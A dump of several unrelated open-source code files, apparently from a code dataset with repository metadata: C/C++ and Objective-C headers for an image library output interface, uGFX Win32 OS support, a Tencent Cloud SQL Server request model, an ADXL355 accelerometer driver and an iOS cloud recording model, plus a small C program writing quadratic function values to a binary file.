tycho-ipl/runtime/output_interface.h
martin-slater/tycho-ipl
d5a896a389575325c82f50813d0a7c738804cdf5
[ "MIT" ]
null
null
null
tycho-ipl/runtime/output_interface.h
martin-slater/tycho-ipl
d5a896a389575325c82f50813d0a7c738804cdf5
[ "MIT" ]
null
null
null
//---------------------------------------------------------------------------- // Image Processing Library // // MIT License // Copyright (c) 2018 Martin A Slater (mslater@hellinc.net) // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. //---------------------------------------------------------------------------- #pragma once #ifndef OUTPUTINTERFACE_H_3604F16C_FDB9_4F77_A209_44498F2C59F4 #define OUTPUTINTERFACE_H_3604F16C_FDB9_4F77_A209_44498F2C59F4 //---------------------------------------------------------------------------- // Includes //---------------------------------------------------------------------------- #include "../image_processing_abi.h" #include <cstdarg> #include <cstdio> //---------------------------------------------------------------------------- // Class //---------------------------------------------------------------------------- namespace tycho { namespace image_processing { namespace runtime { //---------------------------------------------------------------------------- // Interface for writing text output. //---------------------------------------------------------------------------- class output_interface { public: void write(const char* str, ...) const; void write_ln(const char* str, ...) const; void error(const char* str, ...) const; void error_ln(const char* str, ...) const; protected: virtual void do_write(const char* str) const = 0; virtual void do_error(const char* str) const = 0; private: void write_aux(bool error, bool line_end, const char* str, va_list args) const; }; //---------------------------------------------------------------------------- // Interface for writing text output to FILE* handles. By default these are // stdout and stderr. //---------------------------------------------------------------------------- class std_output_interface : public output_interface { public: std_output_interface(FILE* out = stdout, FILE* err = stderr); ~std_output_interface(); private: void do_write(const char* str) const override; void do_error(const char* str) const override; private: FILE* m_Out; FILE* m_Err; }; } // end namespace } // end namespace } // end namespace #endif // OUTPUTINTERFACE_H_3604F16C_FDB9_4F77_A209_44498F2C59F4
35.73913
81
0.567822
323b5b90b25a1165278caf829bf3c000cee3608d
1,058
h
C
iOS/samples/GraphNotifications/GraphNotificationsSample/Secrets.h
xlinush/project-rome
b7c954d872180d9558569226489521bdf5aed57a
[ "CC-BY-4.0", "MIT" ]
384
2017-02-08T18:44:32.000Z
2019-05-06T18:24:35.000Z
iOS/samples/GraphNotifications/GraphNotificationsSample/Secrets.h
IAMGoogleGo/project-rome
b7c954d872180d9558569226489521bdf5aed57a
[ "CC-BY-4.0", "MIT" ]
60
2017-02-10T06:47:14.000Z
2019-04-10T01:11:11.000Z
iOS/samples/GraphNotifications/GraphNotificationsSample/Secrets.h
IAMGoogleGo/project-rome
b7c954d872180d9558569226489521bdf5aed57a
[ "CC-BY-4.0", "MIT" ]
72
2017-02-09T09:01:03.000Z
2019-05-04T18:41:52.000Z
// // Copyright (c) Microsoft Corporation. All rights reserved. // #pragma once #import <Foundation/Foundation.h> // These come from the converged app registration portal at apps.dev.microsoft.com // MSA_CLIENT_ID: Id of this app's registration in the MSA portal // AAD_CLIENT_ID: Id of this app's registration in the Azure portal // AAD_REDIRECT_URI: A Uri that this app is registered with in the Azure portal. // AAD is supposed to use this Uri to call the app back after login (currently not true, external requirement) // And this app is supposed to be able to handle this Uri (currently not true) // APP_HOST_NAME Cross-device domain of this app's registration static NSString* const MSA_CLIENT_ID = @"<<MSA client ID goes here>>"; static NSString* const AAD_CLIENT_ID = @"<<AAD client ID goes here>>"; static NSString* const AAD_REDIRECT_URI = @"<<AAD redirect URI goes here>>"; static NSString* const APP_HOST_NAME = @"<<App cross-device domain goes here>>";
52.9
135
0.693762
d0ea1e46ccdce57e52524780494fc01a6821c718
3,567
h
C
Middlewares/ugfx/src/gos/gos_win32.h
YZ-Qiu/Scope_STM32
c8da92e1222952af3501ca7c8a0353d0c0dd287f
[ "MIT" ]
1
2017-07-18T20:02:40.000Z
2017-07-18T20:02:40.000Z
Middlewares/ugfx/src/gos/gos_win32.h
YZ-Qiu/Scope_STM32
c8da92e1222952af3501ca7c8a0353d0c0dd287f
[ "MIT" ]
null
null
null
Middlewares/ugfx/src/gos/gos_win32.h
YZ-Qiu/Scope_STM32
c8da92e1222952af3501ca7c8a0353d0c0dd287f
[ "MIT" ]
null
null
null
/* * This file is subject to the terms of the GFX License. If a copy of * the license was not distributed with this file, you can obtain one at: * * http://ugfx.org/license.html */ /** * @file src/gos/gos_win32.h * @brief GOS - Operating System Support header file for WIN32. */ #ifndef _GOS_WIN32_H #define _GOS_WIN32_H #if GFX_USE_OS_WIN32 #ifndef _WIN32_WINNT #define _WIN32_WINNT 0x0501 // Windows XP and up #endif #define WIN32_LEAN_AND_MEAN #include <windows.h> #undef WIN32_LEAN_AND_MEAN #include <malloc.h> /* Stop cygwin from defining these types */ #define __int8_t_defined /** * size_t * TRUE, FALSE * are already defined by Win32 */ typedef __int8 bool_t; typedef __int8 int8_t; typedef unsigned __int8 uint8_t; typedef __int16 int16_t; typedef unsigned __int16 uint16_t; typedef __int32 int32_t; typedef unsigned __int32 uint32_t; typedef DWORD delaytime_t; typedef DWORD systemticks_t; typedef LONG semcount_t; typedef DWORD threadreturn_t; typedef int threadpriority_t; #define DECLARE_THREAD_FUNCTION(fnName, param) threadreturn_t WINAPI fnName(void *param) #define DECLARE_THREAD_STACK(name, sz) uint8_t name[0]; #define THREAD_RETURN(retval) return retval #define TIME_IMMEDIATE 0 #define TIME_INFINITE INFINITE #define MAX_SEMAPHORE_COUNT ((semcount_t)(((unsigned long)((semcount_t)(-1))) >> 1)) #define LOW_PRIORITY THREAD_PRIORITY_BELOW_NORMAL #define NORMAL_PRIORITY THREAD_PRIORITY_NORMAL #define HIGH_PRIORITY THREAD_PRIORITY_ABOVE_NORMAL typedef HANDLE gfxSem; typedef HANDLE gfxMutex; typedef HANDLE gfxThreadHandle; #define gfxExit() ExitProcess(0) #define gfxAlloc(sz) malloc(sz) #define gfxRealloc(p,osz,nsz) realloc(p, nsz) #define gfxFree(ptr) free(ptr) #define gfxSleepMilliseconds(ms) Sleep(ms) #define gfxYield() Sleep(0) #define gfxSystemTicks() GetTickCount() #define gfxMillisecondsToTicks(ms) (ms) #define gfxMutexInit(pmutex) *(pmutex) = CreateMutex(0, FALSE, 0) #define gfxMutexDestroy(pmutex) CloseHandle(*(pmutex)) #define gfxMutexEnter(pmutex) WaitForSingleObject(*(pmutex), INFINITE) #define gfxMutexExit(pmutex) ReleaseMutex(*(pmutex)) #define gfxSemInit(psem, val, limit) *(psem) = CreateSemaphore(0, val, limit, 0) #define gfxSemDestroy(psem) CloseHandle(*(psem)) #define gfxSemWaitI(psem) gfxSemWait((psem), TIME_IMMEDIATE) #define gfxSemSignal(psem) ReleaseSemaphore(*(psem), 1, 0) #define gfxSemSignalI(psem) ReleaseSemaphore(*(psem), 1, 0) #define gfxSemCounterI(psem) gfxSemCounter(psem) #define gfxThreadMe() GetCurrentThread() #define gfxThreadClose(thread) CloseHandle(thread) /*===========================================================================*/ /* Function declarations. */ /*===========================================================================*/ #ifdef __cplusplus extern "C" { #endif void gfxHalt(const char *msg); void gfxSleepMicroseconds(delaytime_t ms); bool_t gfxSemWait(gfxSem *psem, delaytime_t ms); semcount_t gfxSemCounter(gfxSem *pSem); void gfxSystemLock(void); void gfxSystemUnlock(void); gfxThreadHandle gfxThreadCreate(void *stackarea, size_t stacksz, threadpriority_t prio, DECLARE_THREAD_FUNCTION((*fn),p), void *param); threadreturn_t gfxThreadWait(gfxThreadHandle thread); #ifdef __cplusplus } #endif #endif /* GFX_USE_OS_WIN32 */ #endif /* _GOS_WIN32_H */
32.724771
136
0.686291
aaddd78480c172985955a1484b7b31b985b402d3
6,363
h
C
sqlserver/include/tencentcloud/sqlserver/v20180328/model/CreateBackupMigrationRequest.h
suluner/tencentcloud-sdk-cpp
a56c73cc3f488c4d1e10755704107bb15c5e000d
[ "Apache-2.0" ]
43
2019-08-14T08:14:12.000Z
2022-03-30T12:35:09.000Z
sqlserver/include/tencentcloud/sqlserver/v20180328/model/CreateBackupMigrationRequest.h
suluner/tencentcloud-sdk-cpp
a56c73cc3f488c4d1e10755704107bb15c5e000d
[ "Apache-2.0" ]
12
2019-07-15T10:44:59.000Z
2021-11-02T12:35:00.000Z
sqlserver/include/tencentcloud/sqlserver/v20180328/model/CreateBackupMigrationRequest.h
suluner/tencentcloud-sdk-cpp
a56c73cc3f488c4d1e10755704107bb15c5e000d
[ "Apache-2.0" ]
28
2019-07-12T09:06:22.000Z
2022-03-30T08:04:18.000Z
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef TENCENTCLOUD_SQLSERVER_V20180328_MODEL_CREATEBACKUPMIGRATIONREQUEST_H_ #define TENCENTCLOUD_SQLSERVER_V20180328_MODEL_CREATEBACKUPMIGRATIONREQUEST_H_ #include <string> #include <vector> #include <map> #include <tencentcloud/core/AbstractModel.h> namespace TencentCloud { namespace Sqlserver { namespace V20180328 { namespace Model { /** * CreateBackupMigration请求参数结构体 */ class CreateBackupMigrationRequest : public AbstractModel { public: CreateBackupMigrationRequest(); ~CreateBackupMigrationRequest() = default; std::string ToJsonString() const; /** * 获取导入目标实例ID * @return InstanceId 导入目标实例ID */ std::string GetInstanceId() const; /** * 设置导入目标实例ID * @param InstanceId 导入目标实例ID */ void SetInstanceId(const std::string& _instanceId); /** * 判断参数 InstanceId 是否已赋值 * @return InstanceId 是否已赋值 */ bool InstanceIdHasBeenSet() const; /** * 获取迁移任务恢复类型,FULL-全量备份恢复,FULL_LOG-全量备份+事务日志恢复,FULL_DIFF-全量备份+差异备份恢复 * @return RecoveryType 迁移任务恢复类型,FULL-全量备份恢复,FULL_LOG-全量备份+事务日志恢复,FULL_DIFF-全量备份+差异备份恢复 */ std::string GetRecoveryType() const; /** * 设置迁移任务恢复类型,FULL-全量备份恢复,FULL_LOG-全量备份+事务日志恢复,FULL_DIFF-全量备份+差异备份恢复 * @param RecoveryType 迁移任务恢复类型,FULL-全量备份恢复,FULL_LOG-全量备份+事务日志恢复,FULL_DIFF-全量备份+差异备份恢复 */ void SetRecoveryType(const std::string& _recoveryType); /** * 判断参数 RecoveryType 是否已赋值 * @return RecoveryType 是否已赋值 */ bool RecoveryTypeHasBeenSet() const; /** * 获取备份上传类型,COS_URL-备份放在用户的对象存储上,提供URL。COS_UPLOAD-备份放在业务的对象存储上,需要用户上传。 * @return UploadType 备份上传类型,COS_URL-备份放在用户的对象存储上,提供URL。COS_UPLOAD-备份放在业务的对象存储上,需要用户上传。 */ std::string GetUploadType() const; /** * 设置备份上传类型,COS_URL-备份放在用户的对象存储上,提供URL。COS_UPLOAD-备份放在业务的对象存储上,需要用户上传。 * @param UploadType 备份上传类型,COS_URL-备份放在用户的对象存储上,提供URL。COS_UPLOAD-备份放在业务的对象存储上,需要用户上传。 */ void SetUploadType(const std::string& _uploadType); /** * 判断参数 UploadType 是否已赋值 * @return UploadType 是否已赋值 */ bool UploadTypeHasBeenSet() const; /** * 获取任务名称 * @return MigrationName 任务名称 */ std::string GetMigrationName() const; /** * 设置任务名称 * @param MigrationName 任务名称 */ void SetMigrationName(const std::string& _migrationName); /** * 判断参数 MigrationName 是否已赋值 * @return MigrationName 是否已赋值 */ bool MigrationNameHasBeenSet() const; /** * 获取UploadType是COS_URL时这里填URL,COS_UPLOAD这里填备份文件的名字。只支持1个备份文件,但1个备份文件内可包含多个库 * @return BackupFiles UploadType是COS_URL时这里填URL,COS_UPLOAD这里填备份文件的名字。只支持1个备份文件,但1个备份文件内可包含多个库 */ std::vector<std::string> GetBackupFiles() const; /** * 设置UploadType是COS_URL时这里填URL,COS_UPLOAD这里填备份文件的名字。只支持1个备份文件,但1个备份文件内可包含多个库 * @param BackupFiles UploadType是COS_URL时这里填URL,COS_UPLOAD这里填备份文件的名字。只支持1个备份文件,但1个备份文件内可包含多个库 */ void SetBackupFiles(const std::vector<std::string>& _backupFiles); /** * 判断参数 BackupFiles 是否已赋值 * @return BackupFiles 是否已赋值 */ bool BackupFilesHasBeenSet() const; private: /** * 导入目标实例ID */ std::string m_instanceId; bool m_instanceIdHasBeenSet; /** * 迁移任务恢复类型,FULL-全量备份恢复,FULL_LOG-全量备份+事务日志恢复,FULL_DIFF-全量备份+差异备份恢复 */ std::string m_recoveryType; bool m_recoveryTypeHasBeenSet; /** * 备份上传类型,COS_URL-备份放在用户的对象存储上,提供URL。COS_UPLOAD-备份放在业务的对象存储上,需要用户上传。 */ std::string m_uploadType; bool m_uploadTypeHasBeenSet; /** * 任务名称 */ std::string m_migrationName; bool m_migrationNameHasBeenSet; /** * UploadType是COS_URL时这里填URL,COS_UPLOAD这里填备份文件的名字。只支持1个备份文件,但1个备份文件内可包含多个库 */ std::vector<std::string> m_backupFiles; bool m_backupFilesHasBeenSet; }; } } } } #endif // !TENCENTCLOUD_SQLSERVER_V20180328_MODEL_CREATEBACKUPMIGRATIONREQUEST_H_
36.568966
114
0.500393
d29ef5e06519380456e7c85c2be89e8c5818e935
1,826
c
C
Lab 7/zadanie_1.c
Paarzivall/Programowanie-proceduralne
dbe26edd3cf193357bdf177414fd6974f2a90630
[ "MIT" ]
null
null
null
Lab 7/zadanie_1.c
Paarzivall/Programowanie-proceduralne
dbe26edd3cf193357bdf177414fd6974f2a90630
[ "MIT" ]
null
null
null
Lab 7/zadanie_1.c
Paarzivall/Programowanie-proceduralne
dbe26edd3cf193357bdf177414fd6974f2a90630
[ "MIT" ]
null
null
null
/* uzytkownik wpisuje wspolczynniki a,b,c i okresla zakres i mowi ile wartosci funkcji chce uzyskac wszystko zapisac w pliku tekstowym */ #include <stdio.h> #include <string.h> #include <math.h> struct daneKW{ double a, b, c, xf, xl, krok; int steps; }; double f(struct daneKW, double); void czytajDane(struct daneKW *); int ZapisDoBin(char * nazwaPliku, struct daneKW); double LiczKroki(struct daneKW); int main(void) { struct daneKW dane; char nazwaPliku[256]; printf("Podaj nazwe pliku do ktorego chcesz zapisac dane(z rozszerzeniem '.bin')"); gets(nazwaPliku); czytajDane(&dane); ZapisDoBin(nazwaPliku, dane); return 0; } void czytajDane(struct daneKW * daneK) { printf("Podaj a "); scanf("%lf", &daneK->a); printf("Podaj b "); scanf("%lf", &daneK->b); printf("Podaj c "); scanf("%lf", &daneK->c); printf("Podaj x start "); scanf("%lf", &daneK->xf); printf("Podaj x koniec "); scanf("%lf", &daneK->xl); printf("Podaj ile krokow "); scanf("%d", &daneK->steps); } double f(struct daneKW daneK, double x) { return (daneK.a*x*x) + (daneK.b*x) + daneK.c; } double LiczKroki(struct daneKW daneK) { return ((daneK.xl - daneK.xf)/(double)(daneK.steps - 1)); } int ZapisDoBin(char* nazwaPliku, struct daneKW daneK) { FILE * plik; int ile = 1; double x, fx, step; plik = fopen(nazwaPliku, "wb"); if(ferror(plik)) return 0; step = LiczKroki(daneK); for(x = daneK.xf; daneK.steps-- > 0; x+=step) { fx = f(daneK, x); fwrite(&ile, sizeof(int), 1, plik); if(ferror(plik)) return 0; fwrite(&x, sizeof(double), 1, plik); if(ferror(plik)) return 0; fwrite(&fx, sizeof(double), 1, plik); if(ferror(plik)) return 0; ile++; } fclose(plik); return 1; }
20.988506
96
0.612267
c57b5cf0d418dbbce733d909a39df8cbed66a7e8
5,532
h
C
projects/ADuCM360_demo_adxl355_pmdz/include/ADXL355.h
dxylove/EVAL-ADICUP360
2095e3d2c87cc4f99c03c6bbfd0fb58ed4146cf5
[ "BSD-3-Clause" ]
57
2016-03-29T07:14:12.000Z
2022-01-17T15:33:18.000Z
projects/ADuCM360_demo_adxl355_pmdz/include/ADXL355.h
dxylove/EVAL-ADICUP360
2095e3d2c87cc4f99c03c6bbfd0fb58ed4146cf5
[ "BSD-3-Clause" ]
17
2016-05-20T15:12:02.000Z
2021-04-22T14:27:46.000Z
projects/ADuCM360_demo_adxl355_pmdz/include/ADXL355.h
dxylove/EVAL-ADICUP360
2095e3d2c87cc4f99c03c6bbfd0fb58ed4146cf5
[ "BSD-3-Clause" ]
150
2016-01-22T07:05:57.000Z
2022-03-29T14:12:46.000Z
/*! ***************************************************************************** * @file: ADXL355.h * @brief: ADXL355 accelerometer IC * @version: $Revision$ * @date: $Date$ *----------------------------------------------------------------------------- * Copyright (c) 2016-2017 Analog Devices, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Modified versions of the software must be conspicuously marked as such. - This software is licensed solely and exclusively for use with processors manufactured by or for Analog Devices, Inc. - This software may not be combined or merged with other code in any manner that would cause the software to become subject to terms and conditions which differ from those listed here. - Neither the name of Analog Devices, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. - The use of this software may or may not infringe the patent rights of one or more patent holders. This license does not release you from the requirement that you obtain separate licenses from these patent holders to use this software. THIS SOFTWARE IS PROVIDED BY ANALOG DEVICES, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, NON-INFRINGEMENT, TITLE, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ANALOG DEVICES, INC. OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, PUNITIVE OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, DAMAGES ARISING OUT OF CLAIMS OF INTELLECTUAL PROPERTY RIGHTS INFRINGEMENT; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * *****************************************************************************/ #ifndef ADXL355_H_ #define ADXL355_H_ /********************************* Definitions ********************************/ /* ADXL355 registers addresses */ #define DEVID_AD 0x00 #define DEVID_MST 0x01 #define PARTID 0x02 #define REVID 0x03 #define STATUS 0x04 #define FIFO_ENTRIES 0x05 #define TEMP2 0x06 #define TEMP1 0x07 #define XDATA3 0x08 #define XDATA2 0x09 #define XDATA1 0x0A #define YDATA3 0x0B #define YDATA2 0x0C #define YDATA1 0x0D #define ZDATA3 0x0E #define ZDATA2 0x0F #define ZDATA1 0x10 #define FIFO_DATA 0x11 #define OFFSET_X_H 0x1E #define OFFSET_X_L 0x1F #define OFFSET_Y_H 0x20 #define OFFSET_Y_L 0x21 #define OFFSET_Z_H 0x22 #define OFFSET_Z_L 0x23 #define ACT_EN 0x24 #define ACT_THRESH_H 0x25 #define ACT_THRESH_L 0x26 #define ACT_COUNT 0x27 #define FILTER 0x28 #define FIFO_SAMPLES 0x29 #define INT_MAP 0x2A #define SYNC 0x2B #define RANGE 0x2C #define POWER_CTL 0x2D #define SELF_TEST 0x2E #define RESET 0x2F /**************************** Configuration parameters **********************/ /* Temperature parameters */ #define ADXL355_TEMP_BIAS (float)1852.0 /* Accelerometer temperature bias(in ADC codes) at 25 Deg C */ #define ADXL355_TEMP_SLOPE (float)-9.05 /* Accelerometer temperature change from datasheet (LSB/degC) */ /* Accelerometer parameters */ #define ADXL_RANGE 2 /* ADXL362 sensitivity: 2, 4, 8 [g] */ #define ACT_VALUE 50 /* Activity threshold value */ #define INACT_VALUE 50 /* Inactivity threshold value */ #define ACT_TIMER 100 /* Activity timer value in ms */ #define INACT_TIMER 10 /* Inactivity timer value in seconds */ /****************************** Global Data ***********************************/ extern volatile int32_t i32SensorX; extern volatile int32_t i32SensorY; extern volatile int32_t i32SensorZ; extern volatile uint32_t ui32SensorX; extern volatile uint32_t ui32SensorY; extern volatile uint32_t ui32SensorZ; extern volatile uint32_t ui32SensorT; extern volatile uint32_t ui32timer_counter; /*************************** Functions prototypes *****************************/ void ADXL355_Init(void); void ADXL355_Start_Sensor(void); void ADXL355_Stop_Sensor(void); void ADXL355_Data_Scan(void); int32_t ADXL355_Acceleration_Data_Conversion (uint32_t ui32SensorData); #endif /* ADXL355_H_ */
42.229008
115
0.624729
a916cb551df24760ea3d62d411bbca3d27df5222
772
h
C
xxny/EZOpenSDK/modules/EZCloudRecordFile.h
lu1770/FirstiOS
054087ece363027446b4c2020d6337412455a43f
[ "MIT" ]
null
null
null
xxny/EZOpenSDK/modules/EZCloudRecordFile.h
lu1770/FirstiOS
054087ece363027446b4c2020d6337412455a43f
[ "MIT" ]
null
null
null
xxny/EZOpenSDK/modules/EZCloudRecordFile.h
lu1770/FirstiOS
054087ece363027446b4c2020d6337412455a43f
[ "MIT" ]
null
null
null
// // EZCloudFile.h // EzvizOpenSDK // // Created by DeJohn Dong on 15/9/17. // Copyright (c) 2015年 Hikvision. All rights reserved. // #import <Foundation/Foundation.h> /// 此类为云存储录像文件对象 @interface EZCloudRecordFile : NSObject /// 设备序列号 @property (nonatomic, copy) NSString *deviceSerial; /// 设备通道号 @property (nonatomic, assign) NSInteger cameraNo; /// 云存储录像文件Id @property (nonatomic, copy) NSString *fileId; /// 云存储录像文件开始时间 @property (nonatomic, strong) NSDate *startTime; /// 云存储录像文件结束时间 @property (nonatomic, strong) NSDate *stopTime; /// 云存储录像截图地址 @property (nonatomic, copy) NSString *coverPic; /// 云存储录像下载地址 @property (nonatomic, copy) NSString *downloadPath; /// 云存储图片加密密码,如果是[NSNull null]或者nil指针则图片不加密 @property (nonatomic, copy) NSString *encryption; @end
24.125
55
0.737047